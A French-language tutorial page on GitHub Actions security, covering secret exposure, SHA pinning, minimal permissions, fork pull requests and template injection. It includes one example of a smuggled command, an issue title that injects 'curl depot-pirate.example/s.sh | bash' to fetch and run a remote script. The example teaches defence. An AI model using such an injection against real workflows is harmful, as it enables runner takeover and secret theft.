Vous ne le savez peut-être pas, mais vos workflows GitHub Actions ont accès à vos secrets, peuvent modifier votre code, et déployer en production du code malveillant sans que vous ne vous en rendiez compte. Un workflow mal sécurisé, c'est une porte ouverte pour les attaquants.
Pourquoi la sécurité sur les pipelines CI/CD est importante ?
Section intitulée « Pourquoi la sécurité sur les pipelines CI/CD est importante ? »Votre pipeline CI/CD est une cible de choix :
Concrètement, votre pipeline :
- A accès aux secrets : tokens d'API, mots de passe de bases de données, clés de déploiement cloud...
- Peut publier des packages : sur npm, PyPI, Docker Hub, ou votre registre privé
- Peut déployer en production : modifier ce qui tourne sur vos serveurs
- Exécute du code sur des machines : avec potentiellement des accès réseau internes
Un attaquant qui compromet votre pipeline peut faire tout ça à votre place. C'est comme s'il avait les clés de votre infrastructure.
C'est quoi une attaque "supply chain" ?
Section intitulée « C'est quoi une attaque "supply chain" ? »Une attaque supply chain (chaîne d'approvisionnement) ne vous cible pas directement. Elle cible quelque chose que vous utilisez.
Dans GitHub Actions
Section intitulée « Dans GitHub Actions »
Vous n'avez pas de faille dans votre code, mais :
- Une action que vous utilisez est compromise
- Une dépendance npm que vous installez contient du code malveillant (voir SCA)
- Une image Docker de base a été modifiée
Exemples réels d'attaques supply chain
Section intitulée « Exemples réels d'attaques supply chain »Voici quelques attaques célèbres sur la supply chain logicielle :
| Année | Attaque | Ce qui s'est passé |
|---|---|---|
| 2021 | Codecov | Un script de téléchargement modifié volait les secrets CI |
| 2021 | ua-parser-js | Paquet npm très utilisé, infecté pour miner de la cryptomonnaie |
| 2024 | xz-utils | Porte dérobée dissimulée dans une bibliothèque de compression Linux |
| 2025 | tj-actions/changed-files | Tags réécrits de v1 à v45, secrets exfiltrés |
Ces attaques ont touché des milliers d'entreprises sans qu'elles aient fait d'erreur dans leur propre code.
Les 3 risques principaux
Section intitulée « Les 3 risques principaux »Voici les 3 risques de sécurité les plus courants dans GitHub Actions :
1. Les secrets exposés
Section intitulée « 1. Les secrets exposés »Qu'est-ce qu'un secret ? Un secret, c'est une information confidentielle dont votre application a besoin pour fonctionner : mot de passe de base de données, clé d'API pour un service externe, token d'accès à un registre Docker... Pensez-y comme les clés de votre maison : si quelqu'un les trouve, il peut entrer.
Pourquoi c'est un problème dans les workflows ? Votre workflow a souvent besoin de ces secrets pour déployer, publier un package ou accéder à un service. Le danger, c'est de les exposer par accident.
Deux erreurs classiques :
# ❌ Erreur 1 : Le secret est écrit en dur dans le code# Tout le monde peut le lire dans l'historique Git, y compris après suppression- run: curl -H "Authorization: Bearer sk-123456789"
# ❌ Erreur 2 : Afficher un secret pour « déboguer »# GitHub masque la valeur exacte, mais rien ne masque ce qu'on en dérive- run: echo "Debug: ${{ secrets.API_KEY }}"La bonne pratique tient en deux gestes. Stockez la valeur dans les
secrets du dépôt (Settings, puis Secrets), et faites-la entrer dans le step
par un bloc env: plutôt qu'en l'interpolant dans la commande. Le premier
geste la sort du dépôt ; le second l'empêche de devenir un argument de
commande, lisible dans la liste des processus du runner.
# ✅ Le secret est dans le coffre GitHub, et passe par l'environnement du step- run: curl -H "Authorization: Bearer $API_KEY" https://api.interne.lan/v1/deploy env: API_KEY: ${{ secrets.API_KEY }}2. Les actions tierces non vérifiées
Section intitulée « 2. Les actions tierces non vérifiées »Qu'est-ce qu'une action ? Une action GitHub, c'est un bout de code
réutilisable que quelqu'un a publié. Au lieu de réécrire la logique pour
"checkout le code" ou "publier sur npm", vous utilisez une action existante avec
uses:.
Pourquoi c'est pratique ? Ça évite de réinventer la roue. La communauté a créé des milliers d'actions pour tout : déployer sur AWS, envoyer une notification Slack, analyser du code...
Pourquoi c'est risqué ? Quand vous écrivez quelquun/super-action@v1 derrière
uses:, vous exécutez du code écrit par un inconnu sur vos runners. Ce code a accès à
tout ce que votre workflow peut faire, y compris lire vos secrets.
C'est comme inviter un inconnu chez vous et lui donner vos clés. Peut-être qu'il est de confiance... ou peut-être pas.
# ❌ Questions à se poser avant de copier ce step :# - Qui est "random-user" ? Une entreprise ? Un particulier ?# - Que fait vraiment cette action ? Ai-je lu le code ?# - Est-elle maintenue ? Dernière mise à jour il y a 3 ans ?- uses: random-user/deploy-magic@v1 # ❌ auteur inconnu, tag mutable with: token: ${{ secrets.DEPLOY_KEY }} # On lui donne nos clés !La bonne pratique : n'utilisez que des actions de sources fiables (GitHub, grandes entreprises, projets populaires) et épinglez-les par SHA pour éviter les modifications surprises (détaillé plus bas).
3. Le code des pull requests
Section intitulée « 3. Le code des pull requests »Qu'est-ce qu'une pull request (PR) ? Une PR, c'est une proposition de modification du code. Sur un projet open source, n'importe qui peut forker le repo (en faire une copie), modifier le code, puis proposer ses changements via une PR.
Pourquoi c'est un vecteur d'attaque ? Par défaut, quand quelqu'un ouvre une PR, les workflows du repo s'exécutent pour tester le code proposé. Un attaquant peut donc :
- Forker votre repo (créer sa propre copie)
- Modifier le workflow pour qu'il affiche ou envoie vos secrets quelque part
- Ouvrir une PR vers votre repo
- Récupérer vos secrets quand le workflow s'exécute
La bonne nouvelle : GitHub a prévu le coup. Par défaut, les workflows déclenchés par des PRs venant de forks n'ont pas accès aux secrets. L'attaquant peut modifier le workflow, mais il ne récupérera rien.
La règle d'or : ne désactivez jamais cette protection, et méfiez-vous de
pull_request_target qui contourne cette sécurité (on en reparle dans la
section avancée).
Les réflexes de base
Section intitulée « Les réflexes de base »Pour sécuriser vos workflows GitHub Actions, adoptez ces 6 réflexes simples :
1. Vérifier les actions avant de les utiliser
Section intitulée « 1. Vérifier les actions avant de les utiliser »Avant d'ajouter une nouvelle action, demandez-vous :
- Qui l'a créée ? (GitHub, entreprise connue, inconnu ?)
- Est-elle maintenue ? (dernière mise à jour récente ?)
- Combien de personnes l'utilisent ? (populaire = plus d'yeux dessus)
- Ai-je vraiment besoin d'une action ? (parfois un
run:suffit)
2. Épingler les actions par SHA
Section intitulée « 2. Épingler les actions par SHA »Le problème des tags (@v1, @latest) : ils peuvent changer.
# ❌ Si quelqu'un modifie ce que pointe "v4", votre workflow change- uses: actions/checkout@v4
# ✅ Le SHA est immuable - personne ne peut le modifier- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2Le SHA, cette longue chaîne hexadécimale, désigne un état exact du code. Même si le compte du mainteneur est compromis et que les tags sont réécrits, votre workflow continue d'exécuter la révision que vous avez vérifiée : un commit déjà publié ne se modifie pas.
- Allez sur le repository de l'action (ex: github.com/actions/checkout)
- Cliquez sur "Releases"
- Trouvez la version souhaitée
- Copiez le SHA du commit
Ou utilisez pin-github-action pour le faire automatiquement :
npx pin-github-action .github/workflows/ci.yml3. Limiter les permissions
Section intitulée « 3. Limiter les permissions »Par défaut, appliquez le principe de moindre privilège :
# ✅ Permissions explicites et minimalespermissions: contents: read # Juste lire le code, pas le modifier
jobs: test: runs-on: ubuntu-24.04 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - run: npm testSi votre workflow est compromis et qu'il n'a que contents: read, l'attaquant
ne peut pas modifier votre code.
4. Ne jamais stocker de secrets dans le code
Section intitulée « 4. Ne jamais stocker de secrets dans le code »Cela paraît évident, et c'est pourtant l'erreur la plus fréquente. Un secret vit dans le coffre du dépôt (Settings, puis Secrets and variables, puis Actions), jamais dans le code, pas même « le temps d'un test » : l'historique Git conserve la valeur même après suppression du fichier.
# ❌ JAMAIS - le secret est visible dans l'historique Git pour toujoursenv: API_KEY: "sk-1234567890abcdef"
# ✅ Le secret est stocké dans GitHub, référencé par son nomenv: API_KEY: ${{ secrets.API_KEY }}Même si vous supprimez le commit, il reste dans l'historique. Si vous avez commis un secret par erreur, considérez-le comme compromis et régénérez-le immédiatement.
5. Ne pas faire confiance aux PRs de forks
Section intitulée « 5. Ne pas faire confiance aux PRs de forks »C'est le comportement par défaut de GitHub, ne le changez pas :
on: pull_request: # ✅ Pas d'accès aux secrets pour les forks
# DANGEREUX : pull_request_target donne accès aux secrets# Ne l'utilisez pas sans comprendre les risques6. Ne pas insérer de données non fiables dans vos scripts
Section intitulée « 6. Ne pas insérer de données non fiables dans vos scripts »Le titre d'une issue, le corps d'une PR, un message de commit : ce sont des
données contrôlées par l'extérieur. Les insérer directement avec ${{ }}
dans un bloc run: permet à un attaquant d'exécuter ses propres commandes
sur votre runner, c'est l'injection de template, la faille la plus
courante dans GitHub Actions.
# ❌ Le titre de l'issue est injecté tel quel dans le shell- run: echo "Nouvelle issue ${{ github.event.issue.title }}"
# ✅ La donnée passe par une variable d'environnement- run: echo "Nouvelle issue $ISSUE_TITLE" env: ISSUE_TITLE: ${{ github.event.issue.title }}Un titre d'issue tel que "; curl depot-pirate.example/s.sh | bash # serait
collé dans le script par la première forme, donc exécuté par le runner
avec ses droits. Dans la seconde, la même valeur arrive par l'environnement :
elle reste une chaîne de caractères que le shell ne réinterprète pas.
Récapitulatif : checklist de base
Section intitulée « Récapitulatif : checklist de base »Avant de mettre un workflow en production :
Secrets et permissions :
- Pas de secrets dans le code, utilisez
${{ secrets.* }} - Pas d'injection, données externes passées via
env:, jamais interpolées directement dansrun: - Permissions déclarées,
permissions:en haut du workflow avec le minimum nécessaire - Pas de
permissions: write-all, listez uniquement ce dont vous avez besoin
Actions et dépendances :
- Actions vérifiées, de source connue et maintenue
- Orthographe vérifiée, pas de typosquatting (
actions/checkoutet nonaction/checkout) - Évaluer les dépendances, utilisez OpenSSF Scorecard pour vérifier la maturité sécurité des projets
- Actions épinglées par SHA, pas de
@v1ou@latest
Pull requests :
- Pas de
pull_request_target, sauf si vous comprenez les risques - Approbation requise, pour les workflows sur PR de contributeurs externes
Bonnes pratiques avancées :
- Dependabot activé, pour les mises à jour automatiques des actions
- Branch protection, exiger des reviews et des checks avant merge
- Audit régulier, vérifier périodiquement les actions utilisées
Ce qu'il faut retenir
Section intitulée « Ce qu'il faut retenir »Cette page couvre les fondamentaux, c'est-à-dire ce qui protège contre les attaques les plus courantes. Le module sécurité de la formation va plus loin : authentification par OIDC, attestations de provenance, isolation des runners auto-hébergés.
Cela fait beaucoup d'un coup, et ce n'est pas grave : ces réflexes s'acquièrent
en les appliquant, pas en les mémorisant. Retenez au moins les trois qui
comptent, épingler par SHA, restreindre les permissions, faire passer
les données externes par env:. Ils couvrent l'essentiel des cas réels.
On passe à la suite ! La gestion des secrets dans GitHub vous attend.
La suite ...
Section intitulée « La suite ... »Si les questions ne vous ont pas mis en difficulté, les bases sont acquises. La leçon suivante traite le sujet que cette page n'a fait qu'effleurer, le stockage et la transmission des valeurs sensibles : la gestion des secrets dans GitHub.
Contrôle de connaissances
Section intitulée « Contrôle de connaissances »Vérifiez que l'essentiel de ce guide est acquis. Les questions portent uniquement sur ce qui vient d'être expliqué ici.
Contrôle de connaissances
Validez vos connaissances avec ce quiz interactif
Informations
- Le chronomètre démarre au clic sur Démarrer
- Questions à choix multiples, vrai/faux et réponses courtes
- Vous pouvez naviguer entre les questions
- Les résultats détaillés sont affichés à la fin
Lance le quiz et démarre le chronomètre
Vérification
(0/0)Profil de compétences
Quoi faire maintenant
Ressources pour progresser
Des indices pour retenter votre chance ?
Nouveau quiz complet avec des questions aléatoires
Retravailler uniquement les questions ratées
Retour à la liste des certifications